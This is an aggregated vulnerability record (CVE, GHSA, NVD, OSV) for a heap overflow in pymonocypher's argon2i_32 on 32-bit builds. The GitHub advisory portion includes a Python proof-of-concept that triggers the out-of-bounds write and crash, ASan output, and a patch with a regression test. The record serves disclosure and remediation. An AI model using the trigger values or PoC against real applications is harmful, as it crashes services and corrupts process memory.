{"id":"CVE-2026-141548","aliases":["EUVD-2026-141857","GHSA-q7gf-2v9f-xq2p"],"status":"published","title":"pymonocypher: argon2i_32 can overflow the heap on 32-bit builds when nb_blocks \u003e= 2**22 (work area size wraps)","description":"pymonocypher uses cython to wrap the Monocypher C library. From 4.0.2.4 until 4.0.3.6, argon2i_32 in c_monocypher.pyx multiplies nb_blocks by 1024 in a 32-bit size_t, causing the allocated work-area size to wrap when nb_blocks is at least 2**22. When the smaller allocation succeeds, crypto_argon2 fills 1024-byte blocks up to nb_blocks rounded down to a multiple of four, causing an out-of-bounds heap write that can crash the calling process. If the allocation fails, the call instead raises MemoryError. An affected application must run a 32-bit build and pass an attacker-influenced nb_blocks value without bounding it below 2**22; 64-bit builds and callers enforcing that bound are not affected. This issue is fixed in version 4.0.3.6.","severity":{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-12-04","score":0.00205,"percentile":0.11111,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true,"poc_reported":true},"cwes":["CWE-190","CWE-787"],"published":"2026-12-02T19:31:42Z","modified":"2026-12-05T05:19:30Z","fixes":[{"ecosystem":"PyPI","package":"pymonocypher","fixed_in":["4.0.3.6"],"sources":["ghsa"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pymonocypher","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.2.4"},{"fixed":"4.0.3.6"}]}]}],"products":[{"vendor":"jetperch","product":"pymonocypher"}],"references":[{"url":"https://github.com/jetperch/pymonocypher/security/advisories/GHSA-q7gf-2v9f-xq2p","tags":["x_refsource_CONFIRM","exploit","advisory"]},{"url":"https://github.com/jetperch/pymonocypher/commit/f741a01864e97ab4069d9f9f85a286ebb2d280ec","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/jetperch/pymonocypher/releases/tag/v4.0.3.6","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-141548","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-q7gf-2v9f-xq2p"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/141xxx/CVE-2026-141548.json","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-141548","title":"pymonocypher: argon2i_32 can overflow the heap on 32-bit builds when nb_blocks \u003e= 2**22 (work area size wraps)","description":"pymonocypher uses cython to wrap the Monocypher C library. From 4.0.2.4 until 4.0.3.6, argon2i_32 in c_monocypher.pyx multiplies nb_blocks by 1024 in a 32-bit size_t, causing the allocated work-area size to wrap when nb_blocks is at least 2**22. When the smaller allocation succeeds, crypto_argon2 fills 1024-byte blocks up to nb_blocks rounded down to a multiple of four, causing an out-of-bounds heap write that can crash the calling process. If the allocation fails, the call instead raises MemoryError. An affected application must run a 32-bit build and pass an attacker-influenced nb_blocks value without bounding it below 2**22; 64-bit builds and callers enforcing that bound are not affected. This issue is fixed in version 4.0.3.6.","status":"published","published":"2026-12-02T19:31:42.957Z","modified":"2026-12-05T03:33:24.266Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L","level":"low","assessor":"cna"}],"cwes":["CWE-190","CWE-787"],"ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","date":"2026-12-05"},"updated_at":"2026-12-05T03:39:30.760404Z"}],"euvd":[{"id":"EUVD-2026-141857","description":"pymonocypher uses cython to wrap the Monocypher C library. From 4.0.2.4 until 4.0.3.6, argon2i_32 in c_monocypher.pyx multiplies nb_blocks by 1024 in a 32-bit size_t, causing the allocated work-area size to wrap when nb_blocks is at least 2**22. When the smaller allocation succeeds, crypto_argon2 fills 1024-byte blocks up to nb_blocks rounded down to a multiple of four, causing an out-of-bounds heap write that can crash the calling process. If the allocation fails, the call instead raises MemoryError. An affected application must run a 32-bit build and pass an attacker-influenced nb_blocks value without bounding it below 2**22; 64-bit builds and callers enforcing that bound are not affected. This issue is fixed in version 4.0.3.6.","status":"published","published":"2026-12-02T19:31:42Z","modified":"2026-12-05T03:33:24Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L","level":"low"}],"updated_at":"2026-12-02T21:27:20.579853Z"}],"ghsa":[{"id":"GHSA-q7gf-2v9f-xq2p","title":"pymonocypher: argon2i_32 can overflow the heap on 32-bit builds when nb_blocks \u003e= 2**22 (work area size wraps)","description":"## Summary\n\nOn builds where `size_t` is 32 bits, `argon2i_32()` computes the size of the Argon2 work area as `nb_blocks * 1024` in `size_t`, and the product wraps for `nb_blocks \u003e= 2**22`. `malloc` is then asked for a much smaller buffer (8 KiB for `nb_blocks = 2**22 + 8`), while `crypto_argon2()` still fills about `nb_blocks` blocks of 1 KiB (it rounds the count down to a multiple of 4). Whenever that small allocation succeeds, the result is a heap buffer overflow (write). The three such cases I ran ended in a segmentation fault, where a caller would expect `MemoryError`. For some values the wrapped size is itself too large (for example `nb_blocks = 2**32 - 1`); then `malloc` fails and the call raises `MemoryError`.\n\nThe scope is narrow:\n\n- Only 32-bit builds are affected. Every wheel on PyPI for the affected releases is 64-bit, and there the product cannot wrap. A 32-bit build comes from the sdist (for example on i386 or armhf) or from piwheels, which publishes `linux_armv6l` and `linux_armv7l` wheels for the affected releases.\n- `nb_blocks` is normally a constant chosen by the developer, and a request for 4 GiB or more cannot succeed on a 32-bit platform anyway. An application is exposed only if it passes an `nb_blocks` value that it does not control (for example a cost parameter read from a stored record or a file header) without capping it below `2**22`. I did not find a public project that does this. Without such a caller this is a robustness fix, and the severity below is conditional on one existing.\n\nGHSA-8f95-v3jq-cj86 was about the same buffer and the same parameter. It covered `nb_blocks \u003c 8`; this report covers large values. The lower-bound check added for that advisory (90ff5b1) and the `NULL` check added in 4.0.3.2 (e6b933a) are both present in 4.0.3.5, and neither covers the multiplication.\n\n## Affected versions\n\nEverything was run on linux/386 (Docker image `i386/python:3.12`: CPython 3.12.16, GCC 14.2.0, glibc 2.41, 32-bit userland on an x86_64 kernel). Each release was built from its PyPI sdist with `pip install --no-binary pymonocypher pymonocypher==\u003cversion\u003e`. The call is `argon2i_32(2**22 + 8, 1, b'password', b'somesalt')`.\n\n| Version | How checked | Result |\n| --- | --- | --- |\n| 4.0.3.5 (latest release, sdist sha256 `b6f96c4fa56212a7c13aee8fc27a89d7531b622ce8aabbd6e82a9d2e93071d71`) | run, plain and ASan builds | SIGSEGV; ASan: heap-buffer-overflow, WRITE |\n| `main` at fca8485 (4.0.3.6, unreleased) | run | SIGSEGV |\n| 4.0.3.4, 4.0.3.2, 4.0.2.8 | run | SIGSEGV |\n| 4.0.2.4 | run, plain and ASan builds | SIGSEGV; ASan: heap-buffer-overflow, WRITE |\n| 4.0.3.3, 4.0.3.1, 4.0.3.0, 4.0.2.7, 4.0.2.6, 4.0.2.5 | source only, not run | same allocation line in the tag |\n| 4.0.2.3, 4.0.2.2, 4.0.2.1 | run | not reachable: `argon2i_32` raises `AttributeError: 'dict' object has no attribute 'nb_block'` for every input |\n| 3.1.3.6 | run | not affected: `OverflowError` |\n\nThat gives `\u003e= 4.0.2.4, \u003c= 4.0.3.5`. The casts arrived in 3851366 (4.0.2.2). Before that the line was `malloc(nb_blocks * 1024)`, which multiplies Python integers and raises `OverflowError` when the result does not fit `size_t`, as 3.1.3.6 still does. ASan confirms the out-of-bounds write on 4.0.3.5 and 4.0.2.4. For the other versions I ran, the evidence is the SIGSEGV together with the identical allocation line.\n\n64-bit builds are not affected: `nb_blocks` is at most `2**32 - 1`, so the product fits.\n\nIt was not run a 32-bit ARM build. The piwheels wheel `pymonocypher-4.0.3.5-cp313-cp313-linux_armv7l.whl` (sha256 `3196726fa0ec746d77111c836d04d26a034ab5b2b0564ff3a5775b7fb7e2291b`) was the only thing looked at in a disassembler: the extension is a 32-bit ARM ELF, and `argon2i_32` has `lsl r0, r0, #10` directly before `bl malloc`.\n\n## Root cause\n\n`c_monocypher.pyx` at fca8485 (the file differs from the v4.0.3.5 tag only in the version string):\n\n```cython\n418:    config.nb_blocks = nb_blocks\n422:    if config.nb_blocks \u003c (config.nb_lanes * 8):\n423:       raise ValueError(f'nb_blocks must be \u003e= {config.nb_lanes * 8}, got {config.nb_blocks}')\n438:    work_area = malloc((\u003csize_t\u003e nb_blocks) * (\u003csize_t\u003e 1024))\n439:    if work_area == NULL:\n440:        raise MemoryError('argon2i_32 work_area allocation failed')\n443:        crypto_argon2(hash, \u003cuint32_t\u003e len(hash), work_area, config, inputs, extras)\n```\n\nThe sdist ships the generated C instead of the `.pyx`. In the 4.0.3.5 sdist the allocation is `c_monocypher.c:8012-8013`:\n\n```c\n  __pyx_t_6 = __Pyx_PyLong_As_size_t(__pyx_v_nb_blocks); if (unlikely((__pyx_t_6 == (size_t)-1) \u0026\u0026 PyErr_Occurred())) __PYX_ERR(0, 438, __pyx_L1_error)\n  __pyx_v_work_area = malloc((((size_t)__pyx_t_6) * ((size_t)0x400)));\n```\n\nLine 418 accepts any `nb_blocks` up to `2**32 - 1`, and line 422 is the only range check on the block count. With a 32-bit `size_t` the allocation at line 438 is `(nb_blocks * 1024) mod 2**32` bytes:\n\n| `nb_blocks` | `malloc` argument | Result on 4.0.3.5 (glibc 2.41) |\n| --- | --- | --- |\n| `2**22 - 1` | 4 GiB - 1 KiB, no wrap | `malloc` fails, `MemoryError` |\n| `2**22` | 0 | `malloc(0)` returns a pointer, overflow from the first block |\n| `2**22 + 8` | 8 KiB | overflow from block 8 |\n| `2**23 + 100` | 100 KiB | overflow from block 100 |\n| `2**32 - 1` | 4 GiB - 1 KiB after the wrap | `malloc` fails, `MemoryError` |\n\n`crypto_argon2` rounds `config.nb_blocks` down to a multiple of 4 and treats `work_area` as that many blocks of 1024 bytes (`monocypher.c:754-759`). It fills them in ascending order: blocks 0 and 1 at `monocypher.c:783`, the rest at `monocypher.c:890`. ASan stops at the first write past the allocation. Without ASan each of the three overflow cases ended in SIGSEGV.\n\n## Reproduction\n\nThe PoC is local and only calls `argon2i_32`. Each case runs in a subprocess so that a crash does not stop the script. On a 64-bit build it runs the two controls and skips the rest, because there the large cases would really allocate 4 GiB or more.\n\n`poc.py`:\n\n```python\n\"\"\"pymonocypher argon2i_32: work-area size wraps when size_t is 32 bits.\n\nEach case runs in a fresh subprocess so that a crash does not stop the script.\nOn a 64-bit build only the controls run: there the product nb_blocks * 1024 is\nexact and the large cases would really allocate 4 GiB or more.\n\"\"\"\nimport ctypes\nimport platform\nimport signal\nimport subprocess\nimport sys\n\nimport monocypher\n\nSIZE_T_BITS = ctypes.sizeof(ctypes.c_size_t) * 8\nprint(\"pymonocypher\", monocypher.__version__,\n      \"| python\", sys.version.split()[0],\n      \"| compiler\", platform.python_compiler(),\n      \"| libc\", \"-\".join(platform.libc_ver()),\n      \"| machine\", platform.machine(),\n      \"| size_t bits\", SIZE_T_BITS)\nprint(\"extension:\", monocypher.__file__)\n\nCASES = [\n    (\"control: nb_blocks=8\", \"8\", False),\n    (\"control: nb_blocks=2**32 (does not fit uint32_t)\", \"2**32\", False),\n    (\"nb_blocks=2**22-1 (4 GiB - 1 KiB, no wrap)\", \"2**22 - 1\", True),\n    (\"nb_blocks=2**22 (size wraps to 0)\", \"2**22\", True),\n    (\"nb_blocks=2**22+8 (size wraps to 8 KiB)\", \"2**22 + 8\", True),\n    (\"nb_blocks=2**23+100 (size wraps to 100 KiB)\", \"2**23 + 100\", True),\n    (\"nb_blocks=2**32-1 (size wraps to 4 GiB - 1 KiB)\", \"2**32 - 1\", True),\n]\n\nASAN_KEEP = (\"ERROR: AddressSanitizer\", \"WRITE of\", \"READ of\", \"located\", \"SUMMARY\")\n\n\ndef describe(returncode):\n    if returncode \u003c 0:\n        return f\"rc={returncode} ({signal.Signals(-returncode).name})\"\n    return f\"rc={returncode}\"\n\n\nfor desc, expr, only_32bit in CASES:\n    if only_32bit and SIZE_T_BITS != 32:\n        print(f\"{desc:52s} skipped: size_t is {SIZE_T_BITS} bits\")\n        continue\n    code = (\"import monocypher\\n\"\n            \"try:\\n\"\n            f\"    h = monocypher.argon2i_32({expr}, 1, b'password', b'somesalt')\\n\"\n            \"    print('returned', h.hex()[:16])\\n\"\n            \"except Exception as e:\\n\"\n            \"    print(type(e).__name__ + ':', e)\\n\")\n    try:\n        r = subprocess.run([sys.executable, \"-c\", code], capture_output=True, text=True, timeout=300)\n    except subprocess.TimeoutExpired:\n        print(f\"{desc:52s} TIMEOUT after 300 s\")\n        continue\n    print(f\"{desc:52s} {describe(r.returncode)} {r.stdout.strip()}\")\n    for line in r.stderr.splitlines():\n        s = line.strip()\n        if any(k in s for k in ASAN_KEEP) or s.split(\" \")[0] in (\"#0\", \"#1\", \"#2\", \"#3\") or \"allocated by\" in s:\n            print(\"    \" + s)\n```\n\nIn an `i386/python:3.12` container:\n\n```bash\npython -m venv /opt/pypi-4.0.3.5\n/opt/pypi-4.0.3.5/bin/pip install --no-cache-dir --no-binary pymonocypher \"pymonocypher==4.0.3.5\"\n/opt/pypi-4.0.3.5/bin/python poc.py\n```\n\nOutput on 4.0.3.5 (`machine x86_64` is the kernel; the process is 32-bit):\n\n```text\npymonocypher 4.0.3.5 | python 3.12.16 | compiler GCC 14.2.0 | libc glibc-2.41 | machine x86_64 | size_t bits 32\nextension: /opt/pypi-4.0.3.5/lib/python3.12/site-packages/monocypher.cpython-312-i386-linux-gnu.so\ncontrol: nb_blocks=8                                 rc=0 returned cbf2bce47e6d2399\ncontrol: nb_blocks=2**32 (does not fit uint32_t)     rc=0 OverflowError: Python int too large to convert to C unsigned long\nnb_blocks=2**22-1 (4 GiB - 1 KiB, no wrap)           rc=0 MemoryError: argon2i_32 work_area allocation failed\nnb_blocks=2**22 (size wraps to 0)                    rc=-11 (SIGSEGV) \nnb_blocks=2**22+8 (size wraps to 8 KiB)              rc=-11 (SIGSEGV) \nnb_blocks=2**23+100 (size wraps to 100 KiB)          rc=-11 (SIGSEGV) \nnb_blocks=2**32-1 (size wraps to 4 GiB - 1 KiB)      rc=0 MemoryError: argon2i_32 work_area allocation failed\n```\n\nFor the ASan run I built the same sdist with the sanitizer and preloaded its runtime, because CPython itself is not instrumented:\n\n```bash\npython -m venv /opt/pypi-4.0.3.5-asan\nCFLAGS=\"-fsanitize=address -g -O1 -fno-omit-frame-pointer\" LDFLAGS=\"-fsanitize=address\" \\\n    /opt/pypi-4.0.3.5-asan/bin/pip install --no-cache-dir --no-binary pymonocypher \"pymonocypher==4.0.3.5\"\nLD_PRELOAD=/usr/lib/i386-linux-gnu/libasan.so.8 ASAN_OPTIONS=detect_leaks=0:symbolize=1:allocator_may_return_null=1 \\\n    /opt/pypi-4.0.3.5-asan/bin/python poc.py\n```\n\nASan output for `nb_blocks = 2**22 + 8` (the script prints the first four frames of each stack):\n\n```text\nnb_blocks=2**22+8 (size wraps to 8 KiB)              rc=1 \n    ==18==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf2f16100 at pc 0xf67a36eb bp 0xfff3e478 sp 0xfff3e46c\n    WRITE of size 8 at 0xf2f16100 thread T0\n    #0 0xf67a36ea in copy_block /tmp/pip-install-v5nciufy/pymonocypher_f5a10ed635af47c6bbf4daf7afbc6cda/monocypher.c:680\n    #1 0xf67a36ea in crypto_argon2 /tmp/pip-install-v5nciufy/pymonocypher_f5a10ed635af47c6bbf4daf7afbc6cda/monocypher.c:890\n    #2 0xf676387d in __pyx_pf_10monocypher_16argon2i_32 /tmp/pip-install-v5nciufy/pymonocypher_f5a10ed635af47c6bbf4daf7afbc6cda/c_monocypher.c:8075\n    #3 0xf676387d in __pyx_pw_10monocypher_17argon2i_32 /tmp/pip-install-v5nciufy/pymonocypher_f5a10ed635af47c6bbf4daf7afbc6cda/c_monocypher.c:7654\n    0xf2f16100 is located 0 bytes after 8192-byte region [0xf2f14100,0xf2f16100)\n    allocated by thread T0 here:\n    #0 0xf7977627 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69\n    #1 0xf676374d in __pyx_pf_10monocypher_16argon2i_32 /tmp/pip-install-v5nciufy/pymonocypher_f5a10ed635af47c6bbf4daf7afbc6cda/c_monocypher.c:8013\n    #2 0xf676374d in __pyx_pw_10monocypher_17argon2i_32 /tmp/pip-install-v5nciufy/pymonocypher_f5a10ed635af47c6bbf4daf7afbc6cda/c_monocypher.c:7654\n    #3 0xf674a2f6 in __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS /tmp/pip-install-v5nciufy/pymonocypher_f5a10ed635af47c6bbf4daf7afbc6cda/c_monocypher.c:20170\n    SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/pip-install-v5nciufy/pymonocypher_f5a10ed635af47c6bbf4daf7afbc6cda/monocypher.c:680 in copy_block\n```\n\nThe allocation frame is `c_monocypher.c:8013` and the write is `monocypher.c:890`, 0 bytes after the 8192-byte region. For `nb_blocks = 2**22` the region is 1 byte (ASan's `malloc(0)`) and the write is at `monocypher.c:783`.\n\nExpected behavior: an exception, as for `2**22 - 1`.\n\n## Impact\n\nA out-of-bounds heap write followed by a crash of the calling process was demonstrated. ASan reports the write past the end of the work area, and the plain builds die with SIGSEGV in the three small-allocation cases (`2**22`, `2**22 + 8`, `2**23 + 100`). Anything beyond the crash was not demonstrated or attempted.\n\nAttacker requirements:\n\n- The application runs on a build with a 32-bit `size_t`.\n- The application passes an `nb_blocks` value that the attacker can influence to `argon2i_32` and does not cap it below `2**22`.\n- No authentication is involved in the library itself; what the attacker needs depends on how the application obtains the value.\n\nApplications that keep `nb_blocks` below `2**22`, or run on 64-bit builds, are not affected.\n\n## Suggested fix\n\nReject the request before `malloc` when `nb_blocks * 1024` does not fit `size_t`. The patch raises `MemoryError`, which is what the function already raises one step below the threshold (`nb_blocks = 2**22 - 1`) and when the allocation fails. It also sizes the allocation from `config.nb_blocks`, the value `crypto_argon2` uses, so the Python argument is converted once. On 64-bit builds `SIZE_MAX // 1024` is larger than any `uint32_t`, so nothing changes there.\n\nPatch against fca8485, with a regression test and a changelog line:\n\n```diff\ndiff --git a/CHANGELOG.md b/CHANGELOG.md\nindex 19ef506..0119f06 100644\n--- a/CHANGELOG.md\n+++ b/CHANGELOG.md\n@@ -9,6 +9,9 @@ This file contains the list of changes made to pymonocypher.\n 2026 Oct 19 [in progress, unreleased]\n \n * Added build-backend to pyproject.toml.\n+* Fixed `argon2i_32()` work area size overflow on platforms with a\n+  32-bit `size_t`: `nb_blocks \u003e= 2**22` now raises `MemoryError`\n+  instead of allocating a wrapped size.\n \n \n # 4.0.3.5\ndiff --git a/c_monocypher.pyx b/c_monocypher.pyx\nindex 8fab5af..7fa8c60 100644\n--- a/c_monocypher.pyx\n+++ b/c_monocypher.pyx\n@@ -5,7 +5,7 @@ Monocypher is an easy to use, easy to deploy, auditable crypto library\n written in portable C.\n \"\"\"\n \n-from libc.stdint cimport uint8_t, uint32_t, uint64_t\n+from libc.stdint cimport uint8_t, uint32_t, uint64_t, SIZE_MAX\n from libc.stdlib cimport malloc, free\n import secrets\n import warnings\n@@ -435,7 +435,10 @@ def argon2i_32(nb_blocks, nb_iterations, password, salt, key=None, ad=None, _wip\n     extras.ad_size = _validate_u32('ad', len(ad))\n \n     hash = bytes(32)\n-    work_area = malloc((\u003csize_t\u003e nb_blocks) * (\u003csize_t\u003e 1024))\n+    if config.nb_blocks \u003e SIZE_MAX // 1024:\n+        # nb_blocks * 1024 does not fit in size_t (32-bit platforms)\n+        raise MemoryError(f'argon2i_32 work_area too large: nb_blocks={config.nb_blocks}')\n+    work_area = malloc((\u003csize_t\u003e config.nb_blocks) * (\u003csize_t\u003e 1024))\n     if work_area == NULL:\n         raise MemoryError('argon2i_32 work_area allocation failed')\n \ndiff --git a/test/test_monocypher.py b/test/test_monocypher.py\nindex 1a3226c..4ce8031 100644\n--- a/test/test_monocypher.py\n+++ b/test/test_monocypher.py\n@@ -11,6 +11,7 @@ import os\n import json\n import warnings\n import secrets\n+import sys\n \n \n MYPATH = os.path.abspath(os.path.dirname(__file__))\n@@ -343,6 +344,13 @@ class TestMonocypher(unittest.TestCase):\n         with self.assertRaises(ValueError):\n             monocypher.argon2i_32(8, 0, b'password', b'saltsalt')\n \n+    @unittest.skipUnless(sys.maxsize \u003c 2**32, 'requires a 32-bit size_t')\n+    def test_argon2i_32_work_area_size_overflow(self):\n+        # nb_blocks * 1024 must not wrap around a 32-bit size_t\n+        for nb_blocks in [2**22, 2**22 + 8, 2**32 - 1]:\n+            with self.assertRaises(MemoryError):\n+                monocypher.argon2i_32(nb_blocks, 1, b'password', b'saltsalt')\n+\n     def test_argon2i_32_bytes_password_not_wiped(self):\n         password = b'hunter22'\n         monocypher.argon2i_32(8, 1, password, b'saltsalt')\n```\n\nThe test is skipped on 64-bit builds, where the wrap cannot happen and the same arguments would request 4 GiB or more.\n\nResults with the patch:\n\n- linux/386, CPython 3.12.16, `poc.py` on fca8485 with the patch:\n\n```text\npymonocypher 4.0.3.6 | python 3.12.16 | compiler GCC 14.2.0 | libc glibc-2.41 | machine x86_64 | size_t bits 32\nextension: /opt/fix/lib/python3.12/site-packages/monocypher.cpython-312-i386-linux-gnu.so\ncontrol: nb_blocks=8                                 rc=0 returned cbf2bce47e6d2399\ncontrol: nb_blocks=2**32 (does not fit uint32_t)     rc=0 OverflowError: Python int too large to convert to C unsigned long\nnb_blocks=2**22-1 (4 GiB - 1 KiB, no wrap)           rc=0 MemoryError: argon2i_32 work_area allocation failed\nnb_blocks=2**22 (size wraps to 0)                    rc=0 MemoryError: argon2i_32 work_area too large: nb_blocks=4194304\nnb_blocks=2**22+8 (size wraps to 8 KiB)              rc=0 MemoryError: argon2i_32 work_area too large: nb_blocks=4194312\nnb_blocks=2**23+100 (size wraps to 100 KiB)          rc=0 MemoryError: argon2i_32 work_area too large: nb_blocks=8388708\nnb_blocks=2**32-1 (size wraps to 4 GiB - 1 KiB)      rc=0 MemoryError: argon2i_32 work_area too large: nb_blocks=4294967295\n```\n\n- linux/386, Debian's CPython 3.13.5 with numpy 2.2.4 and pytest 8.3.5: on the unpatched build the new test ends in `Fatal Python error: Segmentation fault` at `test_monocypher.py`, line 352 (pytest exit code 139). On the patched build the whole suite passes, 43 passed.\n- x86_64, CPython 3.12.16, numpy 2.5.5, pytest 9.2.0: 42 passed, 1 skipped (the new test).\n- The ASan build of the patched tree gives the same `MemoryError` lines and no sanitizer report.\n\nUntil a fixed release is available, a caller on a 32-bit build can reject `nb_blocks \u003e= 2**22` before calling `argon2i_32`.","status":"published","published":"2026-12-04T21:51:37Z","modified":"2026-12-04T21:52:01Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L","level":"low"}],"cwes":["CWE-190","CWE-787"],"updated_at":"2026-12-04T21:59:20.06816Z"}],"nvd":[{"id":"CVE-2026-141548","description":"pymonocypher uses cython to wrap the Monocypher C library. From 4.0.2.4 until 4.0.3.6, argon2i_32 in c_monocypher.pyx multiplies nb_blocks by 1024 in a 32-bit size_t, causing the allocated work-area size to wrap when nb_blocks is at least 2**22. When the smaller allocation succeeds, crypto_argon2 fills 1024-byte blocks up to nb_blocks rounded down to a multiple of four, causing an out-of-bounds heap write that can crash the calling process. If the allocation fails, the call instead raises MemoryError. An affected application must run a 32-bit build and pass an attacker-influenced nb_blocks value without bounding it below 2**22; 64-bit builds and callers enforcing that bound are not affected. This issue is fixed in version 4.0.3.6.","status":"published","published":"2026-12-02T20:20:39.843Z","modified":"2026-12-05T05:19:30.93Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L","level":"low","assessor":"secondary"}],"cwes":["CWE-190","CWE-787"],"ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","date":"2026-12-05"},"updated_at":"2026-12-05T05:22:46.281266Z"}],"osv":[{"id":"CVE-2026-141548","title":"pymonocypher: argon2i_32 can overflow the heap on 32-bit builds when nb_blocks \u003e= 2**22 (work area size wraps)","description":"pymonocypher uses cython to wrap the Monocypher C library. From 4.0.2.4 until 4.0.3.6, argon2i_32 in c_monocypher.pyx multiplies nb_blocks by 1024 in a 32-bit size_t, causing the allocated work-area size to wrap when nb_blocks is at least 2**22. When the smaller allocation succeeds, crypto_argon2 fills 1024-byte blocks up to nb_blocks rounded down to a multiple of four, causing an out-of-bounds heap write that can crash the calling process. If the allocation fails, the call instead raises MemoryError. An affected application must run a 32-bit build and pass an attacker-influenced nb_blocks value without bounding it below 2**22; 64-bit builds and callers enforcing that bound are not affected. This issue is fixed in version 4.0.3.6.","status":"published","published":"2026-12-02T19:31:42.957Z","modified":"2026-12-05T04:45:49.781051664Z","cvss":[{"version":"3.1","score":3.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L","level":"low"}],"cwes":["CWE-190","CWE-787"],"updated_at":"2026-12-03T21:10:05.302032Z"}]}}
